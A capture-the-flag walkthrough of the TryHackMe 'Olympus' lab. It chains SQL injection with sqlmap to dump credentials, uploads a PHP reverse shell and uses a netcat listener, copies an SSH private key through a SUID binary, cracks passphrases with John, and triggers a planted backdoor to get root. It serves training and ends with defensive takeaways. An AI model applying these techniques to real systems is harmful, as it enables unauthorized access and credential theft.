cd ~/writeups
TryHackMe Easy Linux Web / PrivEsc

TryHackMe — Olympus: SQLI to RCE via Upload Bypass

2023-03-03 Room link

# overview

SQL injection in a CMS search field dumps credentials and reveals a hidden chat subdomain. Uploading a PHP reverse shell through the chat app, then recovering the randomized filename via SQLI, gives us a foothold as www-data. A custom SUID binary (cputils) lets us copy the SSH private key of zeus, and a hidden backdoor SUID script escalates to root.

# attack chain

Recon
SQLI
Upload
Foothold
Pivoting
PrivEsc
Root

# recon

Starting with an Nmap scan to identify open services:

terminal bash
$ nmap -sCV -T4 10.10.154.58

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
| ssh-hostkey:
|   3072 0a:78:14:04:2c:df:25:fb:4e:a2:14:34:80:0b:85:39 (RSA)
|   256  8d:56:01:ca:55:de:e1:7c:64:04:ce:e6:f1:a5:c7:ac (ECDSA)
|_  256  1f:c1:be:3f:9c:e7:8e:24:33:34:a6:44:af:68:4c:3c (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://olympus.thm
|_http-server-header: Apache/2.4.41 (Ubuntu)

→ SSH on 22, HTTP on 80. Redirects to http://olympus.thm

The HTTP service redirects to http://olympus.thm. After adding the domain to /etc/hosts, we can access the site.

# directory enumeration

Running Gobuster to discover hidden directories:

terminal bash
$ gobuster dir -u http://olympus.thm -w /usr/share/seclists/Discovery/Web-Content/common.txt

/.htpasswd            (Status: 403) [Size: 276]
/.htaccess            (Status: 403) [Size: 276]
/.hta                 (Status: 403) [Size: 276]
/index.php            (Status: 200) [Size: 1948]
/javascript           (Status: 301) [--> http://olympus.thm/javascript/]
/phpmyadmin           (Status: 403) [Size: 276]
/server-status        (Status: 403) [Size: 276]
/static               (Status: 301) [--> http://olympus.thm/static/]
/~webmaster           (Status: 301) [--> http://olympus.thm/~webmaster/]

→ /~webmaster is the interesting directory here.

# sql injection

Navigating the /~webmaster directory reveals a CMS with a search function. Testing with ' and '' confirms SQL injection. Saving the request and feeding it to sqlmap:

terminal bash
$ sqlmap -r sqlrequest.txt --level 5 --risk 3 --dump

The dump reveals user credentials and a flag:

sqlmap — users table
+---------+------------+-----------+------------------------+-------------------------------+
| user_id | user_name  | user_role | user_email             | user_password (bcrypt)        |
+---------+------------+-----------+------------------------+-------------------------------+
| 3       | prometheus | User      | prometheus@olympus.thm | $2y$10$YC6uoMwK9VpB5QL513vf… |
| 6       | root       | Admin     | root@chat.olympus.thm  | $2y$10$lcs4XWc5yjVNsMb4CUBG… |
| 7       | zeus       | User      | zeus@chat.olympus.thm  | $2y$10$cpJKDXh2wlAI5KlCsUaL… |
+---------+------------+-----------+------------------------+-------------------------------+

flag{…} ← first flag found in the database

Cracking the hashes with John the Ripper yields the password for prometheus:

cracked credentials
prometheus : summertime

The SQL dump also reveals a second domain: chat.olympus.thm (visible in the user email fields). The chat messages mention an upload folder with randomized filenames:

sqlmap — chat messages
| 2022-04-05 | Attached : prometheus_password.txt  | 47c3210d51761686f3af40a875eeaaea.txt | prometheus |
| 2022-04-05 | This looks great! I tested an upload  | <blank>                              | prometheus |
|            | and found the upload folder, but it   |                                      |            |
|            | seems the filename got changed...     |                                      |            |
| 2022-04-06 | The IT guy used a random file name    | <blank>                              | zeus       |
|            | function to make it harder for        |                                      |            |
|            | attackers to access uploaded files.   |                                      |            |

# upload — php reverse shell

After adding chat.olympus.thm to /etc/hosts and logging in as prometheus:summertime, the chat application allows unrestricted file uploads. We upload a Pentest Monkey PHP reverse shell.

Running Gobuster on the chat subdomain confirms the /uploads directory:

terminal bash
$ gobuster dir -u http://chat.olympus.thm -w /usr/share/seclists/Discovery/Web-Content/common.txt

/.htaccess            (Status: 403) [Size: 281]
/.htpasswd            (Status: 403) [Size: 281]
/.hta                 (Status: 403) [Size: 281]
/index.php            (Status: 302) [--> login.php]
/javascript           (Status: 301) [--> http://chat.olympus.thm/javascript/]
/phpmyadmin           (Status: 403) [Size: 281]
/server-status        (Status: 403) [Size: 281]
/static               (Status: 301) [--> http://chat.olympus.thm/static/]
/uploads              (Status: 301) [--> http://chat.olympus.thm/uploads/]

The uploaded file is renamed randomly, so we cannot simply browse to it. The trick: run sqlmap again to dump the chat table and recover the randomized filename:

sqlmap — leaked filename
| 2023-02-26 | Attached : shell.php | 2b270295ba66b09615a57f040108b42f.php | prometheus |

→ Our uploaded shell was renamed to 2b270295ba66b09615a57f040108b42f.php

# foothold

Start a netcat listener and trigger the reverse shell by navigating to the uploaded file:

terminal bash
$ curl http://chat.olympus.thm/uploads/2b270295ba66b09615a57f040108b42f.php

# on our listener:
listening on [any] 9093 ...
connect to [10.11.23.126] from (UNKNOWN) [10.10.154.58] 46494
Linux olympus 5.4.0-109-generic #123-Ubuntu SMP
uid=33(www-data) gid=33(www-data) groups=33(www-data),7777(web)

→ We have a shell as www-data.

# pivoting — www-data to zeus

As www-data we can read zeus's files but not the .ssh directory. Searching for unusual SUID binaries reveals /usr/bin/cputils — a custom tool that copies any file to a user-chosen destination. We use it to exfiltrate zeus's SSH private key:

terminal — www-data@olympus
$ find / -perm -4000 -type f 2>/dev/null
...
/usr/bin/cputils       ← non-standard SUID binary

$ cputils
# copies /home/zeus/.ssh/id_rsa to /tmp/id_rsa

The private key is passphrase-protected. Converting with ssh2john and cracking with John the Ripper:

terminal bash
$ ssh2john id_rsa > sshhash
$ john --wordlist=/usr/share/wordlists/rockyou.txt sshhash --fork=3

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2
Cost 2 (iteration count) is 16
snowflake        (id_rsa)

$ ssh -i id_rsa zeus@olympus.thm
Enter passphrase for key 'id_rsa': snowflake

Last login: Sat Jul 16 07:52:39 2022
zeus@olympus:~$

# privilege escalation — root

As zeus, we search for files owned by our user and discover interesting files in the web root:

terminal — zeus@olympus
$ find /var/www/html -user zeus 2>/dev/null
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php

# Reading the PHP file reveals a backdoor reverse shell
# that listens for incoming connections via a SUID binary.

The PHP script is a backdoor that provides a root shell when triggered with the right command. From the zeus SSH session:

terminal — zeus@olympus
$ uname -a; w; $suid_bd /lib/defended/libc.so.99

# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),1000(zeus)

→ Root shell obtained.

# bonus flag

After gaining root, there is one more hidden flag. Searching the entire filesystem:

terminal — root@olympus
# find / -type f -exec grep 'flag{' {} + 2>/dev/null

/etc/ssl/private/.b0nus.fl4g:flag{…}

→ Hidden bonus flag found in /etc/ssl/private/

# flags

flag 1 Found in SQL database dump
user flag zeus home directory
root flag /root/root.txt
bonus flag /etc/ssl/private/.b0nus.fl4g

# key takeaways

  • SQL injection in search forms can leak entire databases — always parameterize queries
  • Randomized upload filenames are not a security control if the mapping is stored in the same injectable database
  • Custom SUID binaries (cputils) are a common CTF privesc vector — always check for non-standard SUID files
  • SSH private keys with weak passphrases (snowflake) are easily cracked with rockyou.txt
  • Backdoor scripts hidden in obscure web directories highlight the importance of file integrity monitoring
  • Bonus flags teach you to enumerate thoroughly — always search the full filesystem after gaining root